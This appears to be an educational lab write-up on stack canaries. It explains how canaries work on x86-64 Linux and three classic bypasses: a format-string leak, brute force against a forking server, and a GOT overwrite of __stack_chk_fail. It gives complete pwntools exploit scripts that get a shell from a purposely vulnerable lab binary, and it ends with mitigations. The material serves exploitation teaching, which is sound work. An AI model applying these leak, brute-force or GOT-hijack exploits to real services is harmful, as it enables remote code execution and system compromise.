đŸ„

Stack Canary Lab

Lab access:
git clone https://github.com/TinkAnet/Stack-canary-lab.git
What Are Stack Canaries
  • Stack canaries are secret values placed in a function’s stack frame.
  • They detect accidental or malicious overwrites of the return address.
  • A canary is written to the stack at function entry and checked at exit.
  • If unchanged, execution continues; if altered, the program aborts. This mechanism protects against classic stack-based buffer overflows.
notion image
How They Work on x64
On 64-bit systems, canaries consist of seven random bytes followed by a null byte. The null byte prevents string functions from leaking or overwriting the canary. The canary is positioned between buffers and control data on the stack. Any overflow reaches the canary first, ensuring detection before the return address is corrupted.
How Compilers Insert and Verify the Canary
  • Compilers add canaries to functions with stack buffers or potential risk.
    • The function loads the canary into the stack at entry and checks it before return.
  • If the value matches, execution continues; if not, a failure handler terminates the program.
  • This protects the return path from tampering.
 
Why This Mechanism Matters
  • Stack canaries are a simple and widely used mitigation.
  • They don’t stop memory corruption but block classic return-address overwrites.
  • Since they appear in most binaries, understanding their structure and checks is essential.
  • They form the foundation for learning more advanced exploitation and defenses.
Where the Master Stack Canary Lives: FS:0x28
  • On x86-64 Linux with glibc, the per-thread master canary (__stack_chk_guard) is stored in thread-local storage at FS:0x28.
  • For every protected function, the compiler emits prologue code like:
    • mov %fs:0x28, rax : load the guard, then copy it onto the stack.
  • In GDB, $fs_base is the base of the FS segment, so
  • $fs_base + 0x28 points to the same __stack_chk_guard.
In gdb:
x/gx $fs_base+0x28 : simply dumps those 8 bytes in memory
 
Classic Bypass #1 – Leaking the Canary
A common bypass is to leak the canary instead of guessing it: if a program has a memory disclosure bug (like a format-string or over-read), the attacker can dump the stack, spot the canary (seven random bytes plus a null), then craft an overflow that restores this exact value while overwriting the saved base pointer and return address, so the canary check passes and execution returns into attacker-controlled code.
Classic Bypass #2 – Brute-Forcing the Canary in Forking Servers
Thread Local Storage (TLS) is a per-thread memory region reserved by the operating system to store variables that are unique to each thread.
notion image
On a forking network service, each child inherits the same 64-bit canary from the parent and only the child dies on a wrong guess, so crashes act as an oracle and let the attacker brute-force the canary one byte at a time (about 8×256 tries) instead of searching the full 2⁶⁎ space.
notion image
Classic Bypass #3 – Overwriting _stack_chk_fail in the GOT
_stack_chk_fail: When the canary check fails, the program calls _stack_chk_fail and immediately crashes.
notion image
RELRO: A security mechanism for ELF binaries. Partial RELRO offers limited protection and keeps the GOT writable. Full RELRO marks it read-only after loading, completely preventing GOT overwrite attacks.
notion image
  • When a program is built without Full RELRO, the GOT remains writable.
  • An attacker with an arbitrary write primitive can overwrite the GOT entry for _stack_chk_fail.
  • The attacker redirects this entry to any ROP gadget or malicious function.
  • When the canary check fails, the program calls _stack_chk_fail.
 

Lab

Tooling OverviewEssential tools for exploit development and analysis

pwntools: Python framework for developing exploits.
pwndbg: GDB plugin that enhances debugging for exploits.
nc/netcat: Utility for creating network connections and transferring data.
docker/xinetd: Tools for running services in isolated environments.
IDA Pro: Powerful interactive disassembler for reverse engineering.

Canary Master Lab — Setup

Run the challenge inside Docker to ensure a consistent Ubuntu 20.04 + libc 2.31 environment.
Start the container with docker-compose up -d and verify it's running with docker ps (the service listens on port 9999).
Connect using nc localhost 9999 to access the Canary Master Challenge menu (Cases 1–3).
notion image

Lab Overview and Protection Mechanisms

Environment: Ubuntu 20.04, libc 2.31
Binary build: gcc -o canary_master canary.c -fstack-protector-all -pthread -no-pie -Wno-format-security
The lab presents three independent exploitation scenarios.
notion image
Protections enabled:
  • Stack Canary
  • NX (No-Execute)
  • Partial RELRO (GOT writable)
Goal: Obtain a shell in each case.

Understanding the Target

main() dispatches to Case 1/2/3, then ends in overflow().
notion image
overflow() has a stack buffer overflow we control.
notion image
give_shell() is a backdoor at 0x4012F6 that executes /bin/sh — this is our final jump target.
notion image

Lab Overview and Protection Mechanisms

Case
Core Bug
How Canary Is Dealt With
Main Trick
How Control Flow Is Hijacked
1.Format String
Format string: user input passed to printf.
Leaked via %39$p from the stack.
Use gdb to find correct %p offset for canary, then classic overflow.
Overwrite return address with backdoor function address (0x4012f6) while keeping canary correct.
2.Brute-force with fork()
Stack overflow in a child process created by fork().
Brute-forced byte-by-byte (LSB is \x00); crash vs no crash tells whether each guess is correct.
fork() makes all children share the same canary, so repeated attempts give a reliable oracle.
After full canary is known, do the same style of overflow: return address -> backdoor function.
3. Arbitrary Write + GOT
Arbitrary write via signed offset relative to a global buffer.
Bypassed: we don’t care about the real canary; we intentionally trigger failure.
Use negative offset so the write hits __stack_chk_fail@GOT, then overwrite it with backdoor address.
When canary check fails, __stack_chk_fail() is called, but GOT now points to the backdoor, giving a shell.

Case 1: Identifying the Vulnerability

notion image
We input “%30$p” to leak data on the stack at offset 30.
notion image
notion image
Debugging shows the canary is 9 stack slots below this address, at offset 39.
notion image
leak the canary: %39$p
notion image
Send %39$p to leak the 8-byte canary.
Build the overflow payload:
'A'*0x108 + canary + saved RBP (or any 8-byte value) + backdoor address
Jump to the backdoor function at 0x4012f6.
def case1_exp(): p.recvuntil("> ") p.sendline(str(1)) p.recvuntil("Tell me something > ") p.send(b'%39$p') p.recvuntil("0x") canary = int(p.recv(16),16) li(hex(canary)) p.recvuntil("please get shell") payload = b'a'*0x108 + p64(canary)*2 + p64(0x4012f6) print(f"Payload:{payload}") p.send(payload)
notion image

Case 2: Turning fork() into a Canary Brute-Force Oracle

No format string , cannot leak canary.
Program uses fork() to spawn a child process for each attempt.
Child inherits the same canary as parent.
notion image
If canary is wrong ,stack smashing detected.
This provides a perfect yes/no oracle.
notion image
  • Each attempt is handled in a child process created by fork().
  • fork() copies the parent's entire memory, so all children share the same stack canary value.
  • When our payload corrupts the canary in the child:
    • The child prints "stack smashing detected" and exits.
    • The parent remains alive and spawns a new child with the same canary.
  • This gives us unlimited attempts against one fixed, unknown canary — perfect for brute-forcing.
  • We carefully control input length so only the first N bytes of the canary are overwritten:
    • Wrong guess → stack-smashing message
    • Correct guess → no crash
  • Since a 64-bit canary's lowest byte is always \x00, we brute-force the remaining 7 bytes one by one.

Case 2: Canary Brute-Force Strategy

def case2_exp(): p.recvuntil(b"> ") p.sendline(str(2)) def brute1bit() : global known for i in range(256): payload = 0x108 * b'a' payload += known payload += bytes([i]) print(f"current payload:{payload},known: {known}, trying byte: {hex(i)}") p.sendafter('Please start your challenge\n', payload) try: info = p.recvuntil(b'\n') if b"*** stack smashing detected ***" in info : p.send(b'n\n') continue else : known += bytes([i]) sleep(3) break except: li(hex('wrong')) break def brute_canary(): global known known = b"" known += b'\x00' for i in range(7): brute1bit() if i != 6 : p.send(b'n\n') p.recvuntil(b"> ") p.sendline(str(2)) brute_canary() canary = u64(known) li(hex(canary)) payload =b"a"*0x108+p64(canary)*2+p64(0x4012f6) print(f"Final payload:{payload}") pause() p.send(payload)
  • Canary properties:
    • 8 bytes total
    • Lowest byte is always \x00
    • Remaining 7 bytes must be brute-forced
  • Brute-force mechanism:
    • Control input length to overwrite only the first N bytes of the canary
    • Test each byte from 0x00 to 0xFF:
      • Crash → guess is wrong
      • No crash → byte is correct
Bytes brute-force:
notion image
New byte recovered:
notion image

Case 2: Completing the Exploit

  1. After recovering all 8 bytes of canary, rebuild the full overflow payload
  1. Overwrite return address with backdoor address
  1. Child does not crash anymore , shell is returned
notion image

Case 3: Arbitrary Write and GOT Hijack

  • Partial RELRO, GOT is writable
  • The “Write Low Memory” case lets us write 8 bytes to global_buffer + offset with no bounds or sign check, arbitrary write primitive.
notion image
 
In pwndbg, we locate both addresses and compute the offset:
notion image
offset = target - base = &__stack_chk_fail@got.plt - &global_buffer = 0x404028 - 0x4040c0 =-152 (bytes)
This is the value we pass.
Using that offset, we overwrite the GOT entry of __stack_chk_fail with the backdoor address 0x4012f6 (give_shell).
notion image
def case3_exp(): p.recvuntil("> ") p.sendline(str(3)) p.recvuntil("Please decide where you want to write the data") p.sendline(str(-152)) p.recvuntil("Please enter the data") payload = p64(0x4012f6) p.send(payload) p.recvuntil("Please enter the data again") p.send(b'a'*0x110)
notion image
Finally, we trigger a stack smash on purpose. The canary check fails, and the program calls __stack_chk_fail but the GOT now points to give_shell, dropping us into a shell.
notion image
 

Mitigation  –  case 1

Always use a fixed, trusted format string (e.g., replace printf(user_input) with printf("%s", user_input)) and enforce this with compiler warnings-as-errors, so attacker-controlled input can never inject %p/%x to leak the stack canary.
 

Mitigations - case2

notion image

Mitigation - case3

  • CPI treats GOT entries as code pointers.
  • CPI moves all code pointers—including GOT entries—into a protected "safe region" that attacker-controlled memory writes cannot modify.
  • Any code pointer update must go through CPI's runtime, which performs integrity checks to ensure the write is legitimate.
  • Even if an attacker achieves arbitrary write and knows the GOT entry address, the write cannot reach the actual code pointer in the safe region. This prevents GOT-overwrite–based control-flow hijacking.
 

Reference

  1. Cowan, C., Wagle, P., Pu, C., Beattie, S., & Walpole, J. (1998). StackGuard: Automatic adaptive detection and prevention of buffer-overflow attacks. Proceedings of the 7th USENIX Security Symposium.
  1. Etoh, H., & Yoda, K. (2000). Protecting from stack-smashing attacks. IBM Research Report (ProPolice / GCC Stack-Smashing Protector).
  1. Erickson, J. (2008). Hacking: The Art of Exploitation (2nd ed.). No Starch Press.
  1. Gallopsled team. pwntools: CTF Framework and Exploit Development Library. Official pwntools documentation and examples.
  1. pwndbg contributors. pwndbg: A GDB plugin for exploit development and reverse engineering. Project documentation and GitHub repository.
  1. Drepper, U. (2002). How To Write Shared Libraries.